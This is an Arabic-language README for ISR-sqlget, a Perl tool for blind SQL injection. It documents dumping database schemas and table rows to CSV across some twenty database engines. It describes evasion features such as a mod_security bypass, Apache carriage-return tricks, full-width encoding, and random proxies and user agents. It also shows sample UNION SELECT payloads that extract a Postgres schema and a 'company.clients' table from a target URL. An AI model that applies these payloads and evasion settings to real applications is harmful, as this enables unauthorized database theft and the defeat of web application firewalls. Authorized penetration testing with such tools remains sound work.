
ISR-sqlget هي أداة حقن SQL أعمى مطوّرة بلغة Perl.
-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |
..:: الوصف
ISR-sqlget: أداة حقن SQL العمياء (Blind SQL Injection) مطوّرة بلغة Perl. تتيح لك الحصول على مخططات قواعد البيانات وصفوف الجداول. باستخدام GET/POST واحدة يمكنك الوصول بهدوء إلى بنية قاعدة البيانات وباستخدام GET/POST واحدة يمكنك تفريغ كل صف من صفوف الجداول إلى ملف بصيغة تشبه CSV.
قواعد البيانات المدعومة:
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)
- SQLBase (http://www.unify.com)
ميزات التهرب:
- ترميز Unicode بعرض كامل/نصف عرض
- تجاوز رجوع السطر (CR) غير القياسي في Apache
- تجاوز mod_security
- تحويل عشوائي لأحرف الطلب إلى أحرف كبيرة
- PHP Magicquotes: ترميز كل سلسلة باستخدام دالة CHR لقاعدة البيانات أو ما يشابهها.
- تحويل الطلبات إلى قيم سداسية عشرية
- تجنب استبدال المسافات بـ /**/ أو بتبويب (\t)
- تجنب الربط بـ || أو + باستخدام دالة concat لقاعدة البيانات أو ما يشابهها.
- User-agent عشوائي
- خادم وكيل (proxy) عشوائي
- تأخير عشوائي للطلبات
الميزات العامة:
- قائمة سوداء لتنزيل مخطط قاعدة البيانات
- دعم مصفوفة الكوكيز
- دعم SSL
- دعم خادم الوكيل
- تفريغ معلومات قاعدة البيانات بصيغة csv
التقارير:
- تمثيل بياني لبنية قاعدة البيانات لإنشاء تقارير تنفيذية مؤثرة
يتطلب مكتبة Graphviz (http://www.graphviz.org/)
..:: الاستخدام
تحتاج الأداة إلى المعلومات التالية:
الإجراءات الممكنة (ACTION) هي:
أولاً:
1. الحصول على مخطط قاعدة البيانات.
ثم:
2.a الحصول على صفوف الجداول (بصيغة csv).
2.b الحصول على المخطط البياني لقاعدة البيانات.
..::مثال:
الهدف: http://target.infobytesec.com/helloworld.php?id=
مصدر helloworld.php:
"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>اقرأ مثال الجلسة (ملف الإعداد): ./helloworld.pm
الحصول على مخطط قاعدة البيانات:
; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#
يُنشئ هذا ملف مخطط محلي في: ./template/helloworld.dbschema
ثم احصل على صفوف الجداول:
; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....
في الدليل "./datos/" سيكون لديك ملفان لكل جدول كما يلي:
[sessionname].[database].[table].sql.html # مصدر html [sessionname].[database].[table].csv # قيم مفصولة بفواصل
لاحظ أنه يمكن تحديد "./datos" من خلال المعامل $conf::outputdb في ملف إعداد الجلسة.
..:: متقدم
تستخدم الأداة عمودًا واحدًا فقط من نوع text/varchar/إلخ في استعلام SELECT. باستخدام جمل UNION يمكنك الحصول "في ذلك العمود" على مخطط قاعدة البيانات بالكامل باستخدام "[__]" كمحدد.
عندما تكون قد حفظت مخطط قاعدة البيانات المحلي بالفعل، ستتمكن من:
1.a الحصول على صفوف الجداول: باستخدام التقنية نفسها يمكنك الحصول على جميع صفوف كل جدول في قاعدة البيانات، أعمدة أنواع البيانات غير المتوافقة مع النص يتم تحويلها إلى نوع بيانات نصي باستخدام دوال قاعدة البيانات الخاصة.
1.b الحصول على المخطط البياني لقاعدة البيانات.
تستخدم الأداة ملف إعداد جلسة لكل إجراء. يحدد ملف الإعداد هذا المعاملات اللازمة لاستغلال ثغرة حقن SQL. يحدد المعامل @conf::path طريقة تحليل الـ HTML الخام للعمل مع الأداة.
تفاصيل المساعدة:
Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]
Action: -c: Check parser module -t: Get test page -a: Get all database names (only mssql) -s: Get database/s structure/s -d: Get database/s information/s (csv format) -g: Graphic structure of database (gif format)
Options: -n: Session name -p: (Use with -c action, specify src page to check the module); Default ./template/$SESSION.testpage -v: Verbose -h: Help
-t: باستخدام ملف الجلسة تحصل على جدول بيانات نظامي صغير لاستخدامه مع الإجراء "-c" لتحليل الـ HTML الخام لاحقًا.
-c: افتراضيًا يستخدم ./template/[session-name].testpage. يُستخدم لتطوير واختبار محلل الـ HTML الخام. يمكنك اختيار ملف HTML آخر باستخدام الخيار "-p".
-a: تستخدم جميع محركات قواعد البيانات الترتيب التالي للحصول على صفوف الجداول: 1. "-s" الحصول على البنية (يحفظ مخطط قاعدة البيانات في ملف محلي). 2. "-d" الحصول على بيانات الجداول.
بسبب الجداول النظامية في MSSQL يجب إضافة خطوة سابقة:
1. "-a" الحصول على جميع أسماء قواعد البيانات للمخطط/الكتالوج (يحفظ الأسماء في ملف محلي).
2. "-s" الحصول على البنية (يحفظ مخطط قاعدة البيانات في ملف محلي).
3. "-d" الحصول على بيانات الجداول.
-s: الحصول على البنية (يحفظ مخطط قاعدة البيانات في ملف محلي).
-d: الحصول على بيانات الجداول.
-g: استخدام ملف مخطط قاعدة البيانات المحلي الذي تم الحصول عليه مسبقًا للحصول على المخطط البياني لقاعدة البيانات (بصيغة gif)
-n: يحدد اسم ملف إعداد الجلسة.
..:: ملاحظات
./pmschanges.txt: نستخدم نسخة معدلة من LWP وNet::HTTP تتضمن مواصفات الطرق وقوائم CR يشرح هذا الملف التعديلات.
./dbs/isr_*: تحتوي كل وحدة من وحدات قواعد البيانات على متغير @space الذي يحدد نوع المسافة الصالحة. مثال: my @space=(' ',"\t","/**/"); #all spaces
..:: خيارات ملف الجلسة:
@conf::path #يحدد المعامل @conf::path طريقة تحليل الـ HTML الخام للعمل مع الأداة. #يستخدم كود Perl مضمّنًا مع HTML::TreeBuilder لتحليل الـ HTML الخام #الإعداد الأول هو مصفوفة شجرية بأسماء وسوم html المطلوبة. آخر اسم وسم html تتم معالجته بكود Perl.
انظر الأمثلة في ./examples/ example[n].html session[n].pm
$conf::site #الموقع الذي يوجد عليه التطبيق المعرض للثغرة
$conf::script #ملف البرنامج النصي المعرض للثغرة
$conf::method #الطريقة 'POST'، 'GET'، 'HELLO'، '\r\n\r\n\r\n\r\n\r\n' (تجاوز طريقة Apache)
$conf::inj #معاملات POST/GET مع جمل UNION #يستخدم متغيرات سيتم استبدالها لاحقًا بالمعلومات الديناميكية.
المتغيرات:
<VALUE> = العمود المستخدم للحصول على جميع المعلومات.
<TABLE> = قسم الجداول.
<WHERE> = قسم الشرط.
<TAIL> = الجزء الأخير من جملة SQL.
مثال: "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";
$conf::where #إذا كنت بحاجة إلى إضافة بعض الاستثناءات في جدول union يجب استخدام هذا #المعامل لأن بعض استعلامات بنية قاعدة البيانات تتضمن "WHERE"
$conf::tail #الجزء الأخير من جملة SQL. $conf::param #نمط المعامل = نمط Post 1، نمط Url 0 نمط Post= ;root@isr-slackware:~/dev# telnet localhost 80 ;Trying 127.0.0.1... ;Connected to localhost. ;Escape character is '^]'. ;GET http://site/aaa.php HTTP/1.0 ;id=aaa
نمط Url:
;root@isr-slackware:~/dev# telnet localhost 80
;Trying 127.0.0.1...
;Connected to localhost.
;Escape character is '^]'.
;GET http://site/aaa.php?id=aaa HTTP/1.0
$conf::dbtype #الخلفية (backend) لقاعدة البيانات
1 - Oracle
2 - Microsoft SQL Server
3 - Mysql
4 - Postgres
5 - IBM DB2
6 - Interbase/Yaffil/Firebird (Borland)
7 - Mimer (www.mimer.com)
8 - Virtuoso (virtuoso.openlinksw.com)
9 - Pervasive (www.pervasive.com)
10 - Hsqldb (www.hsqldb.org)
11 - SQLite
12 - IBM Informix
13 - Sybase
14 - H2 (http://www.h2database.com)
15 - Mckoi (http://mckoi.com/database/)
16 - Ingres (http://www.ingres.com)
17 - MonetDB (http://www.monetdb.nl)
18 - MaxDB (www.mysql.com/products/maxdb/)
19 - ThinkSQL (http://www.thinksql.co.uk/)
20 - SQLBase (http://www.unify.com)
$conf::session #اسم الجلسة (يجب استخدام نفس اسم ملف إعداد الجلسة بدون امتداد .pm) $conf::outputdb #مسار صفوف الجداول المفرغة
######### الوكيل (proxy) $conf::proxy_host #دعم الوكيل مثال: 'http://user:pass@host:port/'; $conf::rproxy #وكيل عشوائي 1 تفعيل أو 0 تعطيل $conf::rproxyfile #ملف الوكيل العشوائي (استخدم نفس تنسيق $conf::proxy_host)
######### المرشحات (filters) $conf::space #تجنب المسافة: 0 تفعيل المسافة أو 1 استبدال المسافة ' ' بتبويب '\t أو #2 استبدال المسافة ' ' بتعليق '/**/'
$conf::apache_espace #يمكنك تحديد قيمة CRs في طلب HTTP/s
#مثال:
$conf::apache_espace_rnd=1; #تركيبة عشوائية من CRs 0x0b, 0x0c, 0x0d $conf::apache_espace_rmaxn=10; #الحد الأقصى لعدد الأحرف العشوائي #في هذا المثال، نقوم بعشوائية CRs (0x0b, 0x0c, 0x0d) من 1 إلى 10: #المرجع: http://www.osvdb.org/25837
$conf::mod_security #1 تفعيل تجاوز modsecurity <= 2.1.0 و (=>PHP 5.2.0||PERL||Python) #المرجع: http://www.php-security.org/MOPB/BONUS-12-2007.html
$conf::full_width #1 تفعيل تجاوز ترميز full-width $conf::ruseragent #1 تفعيل استخدام user agent عشوائي $conf::ruseragentfile #ملف قائمة user agent $conf::uagent #user agent الافتراضي $conf::delay #التأخير بين الاتصالات $conf::rdelay #1 تفعيل تأخير عشوائي أقصى بين الاتصالات، مع استخدام $conf:delay كقيمة قصوى. $conf::magicquotes #1 تفعيل تجنب magicquotes (استخدم دالة CHR أو ما يشابهها في كل قاعدة بيانات) $conf::convertall_hex #1 تحويل كل قيمة معامل إلى صيغة hex (%41,%61) $conf::rnd_uppercase #1 تفعيل التحويل العشوائي إلى أحرف كبيرة.
######## مرشحات mssql فقط $conf::scape_plas #1 تفعيل، استخدام دالة CONCAT في حال تعذر على البرنامج النصي استقبال '+' #(تُستخدم كربط للسلاسل النصية) $conf::convertall_str #1 تفعيل تحويل جميع الأعمدة إلى سلاسل نصية (موصى به) $conf::scape_output_less #1 تفعيل في حال تعذر على البرنامج النصي إرسال '|' استخدم دالة قاعدة البيانات لاستبدالها
######## مرشحات oracle/db2/virtuoso/h2/mckoi/ingres/monetdb/maxdb/thinksql فقط $conf::scape_pipe #استخدم دالة CONCAT أو ما يشابهها في حال تعذر على البرنامج النصي استقبال '|' (تُستخدم كربط للسلاسل النصية)
$conf::deny_dbname #مصفوفة تحتوي أسماء قواعد البيانات التي لن تتم معالجتها (قائمة سوداء) مثال للقيمة = {'WMSYS' => 1, 'SYS' => 1 };
#الكوكيز $conf::cookie #1 تفعيل مصفوفة الكوكيز @conf::cookies #مصفوفة تحتوي الكوكيز المستخدمة مثال للقيمة = ( { version=>undef, key=>'valu1', val=>'password', path=>'', domain=>'', port=>undef, path_spec=>undef, secure=>undef, maxage=>undef, discard=>undef, rest=>undef });
#خيارات الرسوم البيانية (لمزيد راجع مساعدة وحدة GraphViz في Perl) $conf::graphdir = './graph/'; #دليل الوجهة لملفات الرسوميات $conf::glayout = 'dot'; $conf::grootcolor='crimson'; $conf::gdbcolor='darkgreen'; $conf::gtablecolor='olivedrab1'; $conf::gcolumncolor='lightblue2'; $conf::gcolumn=0; #0= لا ترسم الأعمدة 1= ارسم الأعمدة
..:: المتطلبات
1 - وحدات Perl: LWP::UserAgent HTTP::Cookies; Convert::EastAsianWidth Data::Dump GraphViz
2 - المكتبات مشروع GraphViz (http://www.graphviz.org/)
..:: التحميل
http://www.infobytesec.com/development.html
..:: المؤلف Francisco Amato famato+at+infobytesec+dot+com